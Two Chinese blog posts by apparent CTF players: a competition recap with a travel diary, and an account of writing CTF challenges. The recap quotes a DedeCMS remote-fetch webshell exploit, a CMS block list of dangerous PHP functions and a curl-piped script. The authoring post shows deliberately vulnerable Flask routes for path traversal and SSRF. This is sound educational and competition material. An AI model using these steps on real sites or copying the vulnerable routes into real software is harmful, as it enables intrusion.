unset($sql_content); 385 fclose($fp); 386 exit(); 387 } ### HTTP/1.1 200 OK Date: Wed, 17 Jun 2015 06:55:23 GMT Server: Apache/2.4.12 X-Powered-By: PHP/5.6.6 Vary: User-Agent Content-Length: 55 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 <font color="red">[×]</font> 远程获取失败 ### ###After execution file 0 byte ~ho~year~#### 2015/06/17 14:55 0 config_update.php 1 file 0 byte GETSHELL Step 2 ############################################################################# Create local HTTP services zise:tmp zise$ ifconfig en0 en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 119.253.3.18 netmask 0xffffff00 broadcast zise:tmp zise$ mkdir "dedecms" zise:tmp zise$ cd dedecms/ zise:dedecms zise$ echo "<?php phpinfo();?>" > demodata.a.txt zise:dedecms zise$ cd ../ zise:tmp zise$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 192.168.204.135 - - [17/Jun/2015 15:11:18] "GET /dedecms/demodata.a.txt HTTP/1.0" 200 - #### http://192.168.204.135/install/index.php.bak ?step=11 &insLockfile=a &s_lang=a &install_demo_name=hello.php &updateHost=http://119.253.3.18:8000/ #### HTTP/1.1 200 OK Date: Wed, 17 Jun 2015 07:11:18 GMT Server: Apache/2.4.12 X-Powered-By: PHP/5.6.6 Vary: Accept-Encoding,User-Agent Content-Length: 81 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 <font color="green">[√]</font> 存在(您可以选择安装进行体验) index.php.bak 373 else if($step==11) 374 { 375 require_once('../data/admin/config_update.php'); 376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; 377 378 $sql_content = file_get_contents($rmurl); 379 $fp = fopen($install_demo_name,'w'); 380 if(fwrite($fp,$sql_content)) //fwrite websehll 381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; 382 else 383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败'; 384 unset($sql_content); 385 fclose($fp); 386 exit(); 387 } Attack complete you webshell http://192.168.204.135/install/hello.php > zise ^_^ > Security researcher This is the vulnerability of some web pages http://seclists.org/fulldisclosure/2015/Jun/47 然后 Rusty 不知道用啥方法进去了(队内共享文档没写……) Rusty 用的方法大致是这个方案(https://cloud.tencent.com/developer/article/1850813),我们能够使用我们自己的数据库(MariaDB),让这个 CMS 连接我们的数据库进行操作,我们成功登录了管理员 我们尝试传马上去,但是这个 CMS 自带了一个危险代码检测功能 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 // 不允许这些字符 $content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert'; foreach (explode(",", $cfg_disable_funs) as $value) { $value = str_replace(" ", "", $value); if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前上传的文件中存在恶意代码!<pre>{$content}</pre>"); } if(!empty($value) && preg_match("#(<)[\s]*(script)[\s\S]*(src)[\s]*(=)[\s]*[\"|']#i", " {$content}") == TRUE) { preg_match_all("#(src)[\s]*(=)[\s]*[\"|'][\s]*((http|https)(:\/\/)[\S]*)[\"|']#i", " {$content}", $subject); foreach ($subject[3] as $url) { if (preg_match("#^(http|https):\/\/#i", $url) && !preg_match("#^(http|https):\/\/{$_SERVER['HTTP_HOST']}#i", $url)) { die("DedeCMS提示:非本站资源无法访问!<pre>{$url}</pre>"); } } } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE && json_encode($content) !== FALSE) { if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前上传的文件中存在木马!<pre>{$content}</pre>"); } if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前上传的文件中存在木马!<pre>{$content}</pre>"); } if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前上传的文件中存在后门!<pre>{$content}</pre>"); } if(preg_match("#['\"][\^]['\"]#i", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前上传的文件中存在后门!<pre>{$content}</pre>"); } } 直到最后都没有成功,而且这个 CMS 连接我们的数据库特别的慢(指一个请求三十秒没完成) ctos1 这个题目附件给了我们一个 zip,我们一开始还以为需要解压这个 zip 才能做,结果后来发现是不用的…… (下图人话:用你第一题的 flag 来解压文件) 打开提供的网页,是一个教务系统的登录,尝试进入重置密码的界面,在登录账号处输入账号,如果不存在会提示用户不存在,所以我们可以根据这个提示得到用户 最终我们得到了两个用户:xs001、admin 接着,我们尝试了一下重置密码,就什么都不提供的发送请求 看请求应该是先判断 encoded 对应的账户是不是管理员,然后重置密码的时候看的是account的账户,所以如果encoded对应的是非管理员用户就有可能绕过这个限制直接重置管理员账户的密码,encoded 是用户名的 b64 编码 在登录页面,我们发现登录是 POST 路由 /bzd_jsxsd/xk/LoginToXk 其中 userAccount 是用户名,userPassword 为空,encoded 是用户名+密码的组合,例如使用用户名 xs001 和密码 abc 组合后为 xs001%%%abc,然后经过 Base64 编码 + URL 编码 没找到更多入口了,跑路了 pokemongo pokemon go 提示: fight_internal 为什么调用只使用了一个参数? 结合让攻击力变大的方法通过题目吧 题目描述: 现身!月亮与太阳的化身! nc 10.110.0.5 31337 ╰─ nc 10.110.0.5 31337 1 - launch new instance 2 - kill instance 3 - get flag (if is_Solved() is true) action? 1 == PoW == sha256(“c33b6138cf7ba005” + YOUR_INPUT) must start with 24 zeros in binary representation please run the following command to solve it: python3 <(curl -sSL https://minaminao.github.io/tools/solve-pow.py) c33b6138cf7ba005 24 YOUR_INPUT = 这个题目我们上来就在猜是不是 web3 的题目,结果还真是 有这么一个小趣事:在这次比赛之前,我是有做梦梦到过线下赛出 web3 题目的,但是当时并没有太过于关注这个梦,现在这个梦成真了…… 根据题目给我们的输出,sha256("c33b6138cf7ba005" + YOUR_INPUT) must start with 24 zeros in binary representation,我们输入的内容加在题目提供的字符串后面,进行 sha256 的计算后,这个结果由 24 个二进制 0 开头,也就是说计算得到的哈希值一定为 6 个 0 开头,于是就有了我们的脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * from hashlib import sha256 from string import ascii_letters, digits from itertools import combinations remote_addr = '10.110.0.5' remote_port = 31337 def verify_sha256(s): return sha256(s.encode()).hexdigest().startswith("0"*6) def calc_sha256(s): return sha256(s.encode()).hexdigest() dict = ascii_letters + digits def exp(): # context.log_level = "DEBUG" p = remote(remote_addr ,remote_port) p.recvuntil(b"action?") p.sendline(b"1") p.recvuntil(b'sha256("') pre = p.recv(16).decode() print(f"[~] pre = {pre}") p.recvuntil(b"YOUR_INPUT =") count = 1 solved = False my_input = "" while not solved: for combination in combinations(dict, count): s = pre + "".join(combination) # print(f"[~] WORKING:", s, end="\r") if verify_sha256(s): my_input = s[16:] print("[+] SOLVED: ", s , my_input) solved = True break count += 1 p.sendline(my_input.encode()) p.recvuntil(b"here's some useful information") print('[+] Deploying...') print(p.recvall().decode()) if __name__ == "__main__": exp() 完成后会给我们返回一个钱包的私钥,这个钱包里面有米,但说实话,我们不会做 web3 的题目,只能放掉了,下面提供一下我们找到的源码吧 比赛后我们学校两个队在讨论的时候,隔壁队说这个应该是 vyper 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #@version ^0.3.7 Gyarados_hp: public(int256) rounds: public(uint256) struct pokemon: name: String[1] health: int256 atk: int256 Necrozma: public(pokemon) Solgaleo: public(pokemon) Dusk_Mane_Necrozma: public(pokemon) upgraded: public(bool) win: public(bool) @external def __init__(): self.rounds=5 self.Necrozma.health=200 self.Necrozma.atk=100 self.Solgaleo.health=150 self.Solgaleo.atk=50 self.Gyarados_hp=100000 @external def autophagy(_id:uint256): if _id==1: assert self.Solgaleo.health<=1000 ,"Crazy man..." self.Solgaleo.health+=10 self.Solgaleo.atk-=3 if _id==2: assert self.Necrozma.health<=1000 ,"Crazy man..." self.Necrozma.health+=50 self.Necrozma.atk-=7 @external def game_init(_name: String[1],_name2: String[1]): pass @internal def fight_internal(power_1:int256=0 ,power_2:int256=2**254) -> int256: return power_1-power_2 @external def set_name(_name1: String[1],_name2: String[1]): assert self.upgraded==False,"NO" self.Necrozma.name=_name1 self.Solgaleo.name=_name2 @external def fight(_id:uint256): assert self.rounds>0 , "no more chance" self.rounds-=1 # Maybe only one chance?... if _id==1 and self.upgraded==False: assert self.Necrozma.health>0,"dead" power: int256=self.fight_internal(self.Necrozma.atk) assert power>0, "Too weak...." self.Necrozma.health-=50 if self.Gyarados_hp<=power: self.win=True elif _id==2 and self.upgraded==False: assert self.Solgaleo.health>0,"dead" power: int256=self.fight_internal(self.Solgaleo.atk) assert power>0, "Too weak...." self.Solgaleo.health-=50 if self.Gyarados_hp<=power: self.win=True elif _id==3: assert self.upgraded==True, "Do something first" power: int256=self.fight_internal(self.Dusk_Mane_Necrozma.atk) assert power>0, "Too weak...." self.rounds=1 # Really??? if self.Gyarados_hp<=power: self.win=True self.rounds-=1 @internal def get_upgraded() -> int256: a: int256 = self.Necrozma.atk b: int256 = self.bar() return a+b @external def do_combine(): self.upgraded=True self.Dusk_Mane_Necrozma.atk=self.get_upgraded() @internal def bar() -> int256: combined_name: String[2] = concat(self.Necrozma.name, self.Solgaleo.name) return 1 @external def is_Solved() -> bool: return self.win 题目的二进制产物 1 0x346109aa57600560015560c8600455606460055560966008556032600955620186a060005561097361003661000039610973610000f36003361161000c576108be565b60003560e01c346109615763b965f6a181186101605760243610610961576001600435186100c4576103e8600854131561009d57600c6040527f4372617a79206d616e2e2e2e000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b600854600a8101818112610961579050600855600954600381038181136109615790506009555b60026004351861015e576103e8600454131561013757600c6040527f4372617a79206d616e2e2e2e000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b60045460328101818112610961579050600455600554600781038181136109615790506005555b005b63d02b607d81186101b757608436106109615760043560040160018135116109615780358060405260208201803560605250505060243560040160018135116109615780358060805260208201803560a052505050005b63e1430e06811861028f57608436106109615760043560040160018135116109615780358060405260208201803560605250505060243560040160018135116109615780358060805260208201803560a052505050600e541561027157600260c0527f4e4f00000000000000000000000000000000000000000000000000000000000060e05260c05060c0518060e001601f826000031636823750506308c379a0608052602060a052601f19601f60c0510116604401609cfd5b60405180600255606051600355506080518060065560a05160075550005b63df6a37aa811861069357602436106109615760015461030657600e6080527f6e6f206d6f7265206368616e636500000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6001546001810381811161096157905060015560016004351861032c57600e541561032f565b60005b61056f5760026004351861034657600e5415610349565b60005b61045c5760036004351861067e576001600e5418156103bf5760126080527f446f20736f6d657468696e67206669727374000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b600d5460405260006060526103d460a06108c4565b60a0516080526001608051121561044257600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b60016001556080516000541361067e576001600f5561067e565b600160085412156104c45760046080527f646561640000000000000000000000000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b60095460405260006060526104d960a06108c4565b60a0516080526001608051121561054757600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b600854603281038181136109615790506008556080516000541361067e576001600f5561067e565b600160045412156105d75760046080527f646561640000000000000000000000000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b60055460405260006060526105ec60a06108c4565b60a0516080526001608051121561065a57600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b600454603281038181136109615790506004556080516000541361067e576001600f555b60015460018103818111610961579050600155005b63f589d1a081186106bf5760043610610961576001600e556106b661012061092b565b61012051600d55005b63fa73a16c81186106de576004361061096157600f5460405260206040f35b63fd23d16881186106fd57600436106109615760005460405260206040f35b63a2e800ad811861071c57600436106109615760015460405260206040f35b633a956e74811861079257600436106109615760208060405280604001606080825280820160025480825260208201600354815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600454602083015260055460408301529050810190506040f35b631b05174c811861080857600436106109615760208060405280604001606080825280820160065480825260208201600754815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600854602083015260095460408301529050810190506040f35b63fb905dc8811861087e576004361061096157602080604052806040016060808252808201600a5480825260208201600b54815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600c546020830152600d5460408301529050810190506040f35b63c28de2cd811861089d576004361061096157600e5460405260206040f35b63473ca96c81186108bc576004361061096157600f5460405260206040f35b505b60006000fd5b60405160605180820382811360008312186109615790509050815250565b60006002548160a0016003548152508082019150506006548160a00160075481525080820191505080608052608090508051806040526020820180516060525050506001815250565b60055460c05261093c6101006108e2565b6101005160e05260c05160e05180820182811260008312186109615790509050815250565b600080fda165767970657283000307000b005b600080fd 我顺带试了一下题目提供的那个网络上的破解脚本 1 2 3 4 ╰─ python3 <(curl -sSL https://minaminao.github.io/tools/solve-pow.py) c33b6138cf7ba005 24 ─╯ your_input = b'42350263' digest.hex() = '00000079df581a1f503ae965ec65731ab3a5bd08acd2be21b78a9450d08a0c58' time.time() - start_time = 59.04572939872742 还是能用的 app debug 这个题目应该算是福利题,根据 J 佬自己的话说就一个 XTEA,但是在比赛的时候脚本写错了没找到问题导致没做出来 旅游 终于快进到旅游环节了嘛(耶~~~ Day 1 (2025.5.16 Fri.) 我们其实本来是一个队伍周五一起去的,但是 Jeremiah 受邀参加腾讯游戏安全的那个会议了,然后 Ron 周五要考线性代数,结果只有我和 Rusty 两个人第一天去 我们订的酒店是一家民宿,本来我们是打算定大广场的酒店的,但是那家酒店没有洗衣房(问就是深圳亚朵惯的),所以我们最后挑来挑去,挑到了这家民宿,它甚至跟大广场的那个酒店是同一价位,但是环境和配置不输给亚朵 鉴定为 买家秀 == 卖家秀,携程上的图片与实际完全相符,好评没跑了 然后我们发现湖南大学那边大学跟社区是完全连在一起的,意思就是说你走在一条街上,这条街属于社区,也属于湖南大学,完全就融为一体了 我们住的民宿从小路出来对面就是广场,左手边就是小吃街,所以我们两个晚餐就是在这条街上解决的。当然来长沙少不了茶颜悦色,所以第一天就已经点了一杯茶颜悦色喝了(忘拍照了) 第一天晚上刚好我在改 B 站新规下的产物(https://github.com/GamerNoTitle/BiliLive-Utility),所以当天很晚了我还没睡,刚好这家酒店在入住的当天,每间房都会赠送一杯鸡尾酒,刚好我和 Rusty 两个人一人一杯,不喝白不喝,所以我们在十点半的时候又去喝了一杯鸡尾酒 据说这杯酒在很多的酒吧都有,是常客,咱也不懂,但是头一次和鸡尾酒以外的挺不错 这杯酒的名字叫做 丛林鸟 喝完以后我也是在凌晨 1:34 的时候发了我的 Release,然后就睡觉了 Day 2 (2025.5.17 Sat.) 因为我和 Rusty 商量要试试民宿的早餐,于是我订了个 9 点的闹钟起来了。民宿的早餐不是自助餐,但是还不错,他是在餐厅里面有个阿姨给客人煮,我这一份是肉丝粉条(应该叫 粿条 梗合适,反正就是河粉那一类的) 是微辣口的,大概率是因为锅自己已经被辣椒渗透了,所以我吃起来是微辣口的,以外的还不错诶 吃完以后就回房间里面休息了,说是休息其实我在打矢量突破(然后被 Mechanist 暴揍) 后面队友也来了,我们就找个小笼包店吃了一笼小笼包垫肚子,然后报道去了 途中路过了超算中心 最后走到了开幕式的地方 开幕式结束后,因为二队帮我们拿了报道的材料,然后我们就直接去了橘子洲 回到酒店也是快十点钟了,给我们的参赛证和衣服拍了个排排队的图 Day 3 (2025.5.18 Sun.) 第三天直接就去比赛了,比完赛出来是三点钟,我们又去了我们上次去过的地方——五一广场,主要是去觅食的 首先就有十六进制红绿灯 我们也是找了一家餐馆下了一趟馆子 吃完了就去赶车了,这次的旅游就这样结束啦,回到学校已经快十一点了,洗洗睡啦 Summary 怎么说呢,爆零乃兵家常事,下次加油就好啦~ 旅游也是体验生活的一环,下次再来吧 这次的复盘也是拖了足够久啦,主要是刚好回来这周事情太多了,又要补作业又要做小组作业,所以各种各样的东西拖慢了本文出厂的速度,不过磨着磨着还是给它磨出来了 后面期待在网上看到其他师傅在本次比赛中的思路吧,我们队也有很多不足,不过都过去了٩(•̤̀ᵕ•̤́๑)ᵎᵎᵎᵎ

2025/5/25
articleCard.readMore

记第一次为 CTF 比赛出题的经历和踩过的坑

起因 事情的起因是这样的,我们学校准备办一个什么IT科创嘉年华,然后想办一场名为“网安卫士”的比赛,所以理所应当地找到了我们学校的攻防工作室来出题,自然也就联系上了我 诶不是,有这等好事?那我当然要来掺和一脚嘛,顺带拉上了我们队的其他队员,我们一起为学校的比赛出题 筹备期 最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27,然后我们开了个在线文档就开始出题了,出题难度是这么跟我们说的 就是比 ADCTF 还要简单,要宝宝巴士难度,让我们弄一些能用常用工具一把梭的 但其实我已经有一些题目的雏形了,于是我先出了我的一道简单题 出题:Herta’s Voidterm 题目源码:https://github.com/GDUTMeow/Challenge-Hertas-Voidterm 这道题的玩法参考了 Hackergame 2024 的那个终端题(忘了叫啥了),我前些阵子把我网站的 404 页面换成了 Voidterm(随便访问一个不存在的页面你就能看到了),然后我当时在我的这个终端里面塞了 3+1 个 flag(原来是 3 个,后面加了一个),我想把这个拿来出题,于是就有了 MISC 题:Herta’s Voidterm 这道题目分成了三部分,我先把题目描述放在下面 你发现你一不小心获取到了黑塔女士的终端权限,于是你决定寻找一下黑塔女士的小秘密~ 据说环境中好像有什么不一样的东西? 终端里面好像有个网址无法访问? 好像有一张奇怪的图片诶?! 因为一开始就说了是宝宝巴士的难度,所以我第一个题目做的是 env 访问环境变量的解题方式,直接输入 env 查看环境变量就能看到 flag 了 这题我自认为确实是宝宝巴士难度,而且我给的提示够明显了 在考虑 flag 的内容的时候,我最开始想到的是小黑塔跟大黑塔编入同一队伍时会有的那个语音 小黑塔:黑塔女士举世无双,黑塔女士聪明绝顶,黑塔女士沉鱼落雁 然后我去搜了这个语音的英语原文,为 Herta: Madam Herta is a peerless gem. Madam Herta is an unrivalled genius. Madam Herta is an inimitable beauty. 然后简单 Leet 一下就有了第一个 flag 接着就开始考虑第二题,之前出那个自己网站上 +1 的题目的时候就想到了之前在 BaseCTF 上做过一道题目,给了一个域名但是无法访问,它那个题目把 flag 丢在了 txt 记录里面 所以我也学着做这样的一个题目,我把第二题的 flag 丢在了我的某个子域名上,然后把这个域名丢到了我这个模拟终端的 /etc/hosts 里面,于是你可以看到提示写的是 终端里面好像有个网址无法访问? ,使用 cat /etc/hosts 就能看到我这个域名了 1 100.100.100.100 th3-h3rt4.bili33.top 于是我就可以打成让参赛选手用 nslookup 或者 dig 查询域名来得到 flag 的方法 接着就来到了第三部分,既然是 MISC 题,肯定不能少了传统的隐写。而且之前大黑塔的 PV 里面有一个很可爱的 Chibi 黑塔 于是我就拿着这张图来做图片隐写,实现了一张图两用:修改高度和文件尾藏脏数据 又刚好在 ADCTF 做了 rkk 的 Black MIDI 那个题目,那个题目采用了 AES 的加密方式,于是我也想用 AES 的加密方式 所以我就把 key 和 iv 一个藏在文件尾,一个藏在 IHDR 高度爆破的底下,但是怎么给加密的数据呢?于是我想到了可以直接在第一题的 env 里面塞,然后我又把加密后的内容放在了 env 里面名为 SECRET 的变量中,细心的参赛选手一定能解出来吧 (*^▽^*) 消息不同步 本来我们商定的比赛时间是 2025.4.25 - 2025.4.27,是四人团队赛,结果发推文的时候跟我说变成两周了???(WTF两周还打什么团队赛啊),于是我们决定提升产能并上难度了 出题:Play CS with Me 题目相关附件:https://github.com/GDUTMeow/Challenge-Play-CS-with-Me 这题的灵感来源于西湖论剑的 CSCS,那个题目是 Cobalt Strike + Counter Strike 1.6,说实话我到现在都还没弄明白 ReHLDs 怎么用,但是不妨碍我出这类型的取证,我先把题目描述丢在下面 Luminoria 在看色图的时候电脑中招啦,黑客从他的电脑里面偷走了一些东西,请你找到黑客拿的东西吧(哦内该 1、请你以木马的文件名(包括后缀)计算 md5 后,用 flag{} 包裹即为第一题的 flag 2、请找到黑客拿走的日志文件,以其内容计算 md5 后,用 flag{} 包裹即为第二题的 flag 3、请你找到 Luminroia 看的色图,色图即为 flag 如果黑客的木马文件名为 beacon.exe,则应该使用 beacon.exe 进行 md5 计算得到 c834b9aa0d91d8a309db78786b7e3a03,则这题的 flag 为 flag{c834b9aa0d91d8a309db78786b7e3a03} 假设从流量中提取到的文件为 abc.txt,里面的内容为 1 2 Hello World!!! THIS IS AN EXAMPLE LOL 应该拿着此文件中的所有内容去计算 MD5,算得结果为 f9b80cd2e0116766a8729570cf036608,则包裹后为 flag{f9b80cd2e0116766a8729570cf036608} 即为本题的 flag 为了出这个取证,我先是去装了两台虚拟机(其实是装了一台,然后复制了),并且为了减少 Windows 系统自身的流量造成的干扰,我特意用了 Tiny11 来做这个题目的附件 然后我掏出了在我硬盘里吃灰的 Cobalt Strike,就开始出题了 本来我最开始的思路是只砍掉 ReHLDs 部分,所以我更换了 Cobalt Strike 的 key,结果我自己做的时候发现…… 我!T!M!爆!不!出!来!私!钥! 那这宝宝巴士车更爆不出来了,所以我最后决定不更换这个 key,又因为我使用的 CS 是流传出来的一个版本,所以它的私钥是已知的,然后就省去了爆破的过程 1 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key 当参赛选手用 1768.py 分析的时候,就会出现上面这里最后写的 Has known private key,用 -V 参数就可以提取出来,变相降低难度了 我最后想的攻击链路是这样的: 给肉鸡配置 SSLKEY 导出 -> 肉鸡打开wireshark开始抓包 -> 肉鸡开始访问我放在 Cloudflare R2 上的含有 flag 的图片 -> 关闭抓包和浏览器 -> 攻击机生成 Beacon -> 再次打开肉鸡的 Wireshark 抓 CS 流量 -> 将 Beacon 复制到肉鸡并运行 -> 攻击机发送命令,下载文件 然后我也这么做了,实际操作也没什么问题(出了操作的次序出了问题然后我 retry 了好几次) 就在我自己做的时候,我发现一个问题:我导出来的访问 flag 图片的数据包中过滤 http 没有我的 flag 图啊喂! 我一开始以为是 Cloudflare 的问题,换了 Github Pages 来抓,结果还是没有,结果一看协议统计 这东西是 HTTP/2.0 流量!!! 好吧,HTTP/2.0 对参赛选手不是不能做,只是过滤参数从 HTTP 变成了 HTTP2 而已 于是这题就理所应当地出来了(坏笑٩(•̤̀ᵕ•̤́๑)ᵒᵏᵎᵎᵎᵎ 我把这题丢上了文档,并标注了三个 HARD 难度,等待这题能够爆零然后新生赛复用,诶嘿~☆ 群里猫娘趣事 很快我们发现 web 题太少了,于是我们打算出点 web 题目,这个时候看到队友 Ron 的题目没起名字,于是我给了他一张图 你可以在我的 Telegram 频道中找到这张图:https://t.me/PaffChannel/2138 不过他好像没用上 =-= Web 题都是简单题 很快 web 题就出来很多了,但是都标的 ez 于是我们决定给 web 题上点难度 升旗 没错,那一周刚好轮到我们计算机学院升旗了,还是周一(周一满课,早八高数)……好吧,睡个觉去 出题:你真的懂 Base 嘛 此时我发现我们 Crypto 没有题目,于是我打算来出第一题 题目内容如下 为什么我的 Base 是乱码?好像说来自一个小蓝鸟公司?还与 2 的 11 次方有关?最后还可以一把梭? 题目源码:https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base 因为说了要宝宝巴士难度,所以我想到先来个 Base 但是只有 Base 也太太太太太简单了,所以我要来点好玩的 恰巧之前看过 Twitter 有个 Base2048,然后 Basecrack 可以一把梭,于是我就把这两个东西给结合起来,整了个两步梭的 Base 题目 我先把 flag 通过 Base62 -> Base64 -> Base58 -> Ascii85 -> Base92 -> Base32(就只要是不会让 BaseCrack 产生误判的方式都用上了),然后再套一个 Base2048,就完活啦! 出题:Data Cleaning 因为现在的 MISC 题目有点往取证、数据安全和 Web3 的趋势了,所以我也想来弄点数据安全的题目,于是就有了这道题 题目源码:https://github.com/GDUTMeow/Challenge-DataCleaning 你的上司交给你了一份名单,这份名单是公司里面所有人员的个人信息,包含了以下内容,且有规则 序号 姓名:不能包含数字、字母 性别:只有男/女 身份证号:按照身份证号的校验规则合法 用户名:只包含字母和数字,数字不能作为开头 密码:随机生成的,题目保证一定不包含 , ' " 三个符号 签名:对于每个用户都有一个RSA证书,对应序号保存在cert文件夹中,使用此证书对 用户名_密码_身份证号 进行签名(签名传入的字符串中如规则所述用了下划线连接,使用的是最为常见的填充方式,可以搜搜 Cryptographic Token Information Format Standard) 现在老板发现这份名单中有些问题(即不满足以上条件),请你把不符合条件的序号挑出来,用下划线从小到大连接 例如,不合法的序号有 114 514 1919,则应该连接为 114_514_1919 最后用连接后的字符串进行 md5 运算(小写,32位)后得到的结果,使用 flag{} 包裹后提交 这道题我是直接上网找出题脚本然后用 Deepseek 改了一下的,问就是我懒狗,然后第一次 Deepseek 给我改的是用的 MGF1,然后我们测题的时候就反映做不出来 那当然了,MGF1 的参数也太麻烦了 然后就回去找到对话,让 DS 给我改成了用 PKCS1_15,这样也好猜一点,就有了这一题,然后我又在签名那里加了 Cryptographic Token Information Format Standard 的提示 为了让宝宝巴士能够宝宝一点,我真是费尽了心思(擦汗 出题:登录 PRTS 1 普瑞赛斯(Priestess)在 Abyss 中封禁了刀客塔在 PRTS 中的账号,身为刀客塔的你要想尽一切办法获取 PRTS 的权限(但是一定要登录刀客塔的账号吗? 本题构建容器所需要的时间较长,请提前点击构建容器按钮! 刀客塔的账号密码 Username: VFTS352 Password: 48399110 不要在意网站壁纸,找不到好看的 PRTS 图了 题目源码:https://github.com/GDUTMeow/Challenge-Login-PRTS 这道题主要是因为明日方舟更新了第十五章,然后第十五章里面我们跟牢普操纵的 PRTS 来了一场酣畅淋漓的战斗,然后我就想用舟舟的这个出一个题目 恰好之前暑假参加山石的三天训练营的时候,我做的那一道 Web 题是在 Cookie 塞的目录穿越,然后我就想弄一个目录穿越,但是不太明显的那种 最开始我的设定是在 Cookie 中有个 user 字段,更改 user 字段来返回不同的文件,所以我的代码一开始是这样写的 1 2 3 4 5 @app.route("/api/get_avatar", methods=["GET"]) def avatar_handler(): cookie = request.cookies username = cookie.get("user") return send_file("static/img/" + username + ".png") 但是我发现了一个问题,就是这样的话会固定带 .png 文件后缀,如果我输入的是 ../../../../../../etc/passwd 的话,会变成返回 static/img/../../../../../../etc/password.png,这是有问题的 所以我最后只能改成参数给 filename,变相的变简单了一点 1 2 3 4 @app.route("/api/get_avatar") def avatar_handler(): file = request.args.get("filename") return send_file("static/img/" + file) 这样就有了这道题的第一问 出题:登录 PRTS 2 本来这题没想出第二问的,但是但是,上面说到群里说 Web 都是简单题,然后我就在这题的基础上上难度了 本来是想照搬 VNCTF 的思维导图的那个玩法的,但是我队友说建议放在新生赛,所以只好作罢 而刚好在 CCSSSC2025 的初赛,有一题叫 CachedVisitor,跟思维导图那个题有异曲同工之妙,都是利用了 SSRF + dict 协议的玩法,所以我就按照这个玩法来出了这个第二题,又因为 SSRF + dict 的打法一般都是 Redis 通过 cron 反弹 shell,所以我就按照这个思路来了 首先我又加了一个路由,可以实现 SSRF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @app.route("/api/get_resource", methods=["POST"]) def resource_handler(): try: data = request.get_json() target_url = data.get("url") resp = requests.get(url) return jsonify( { "code": 200, "success": True, "data": { "url": target_url, "content": resp.text } } ) except Exception as e: return jsonify( { "code": 500, "success": False, "data": { "url": target_url, "content": resp.text } } ) 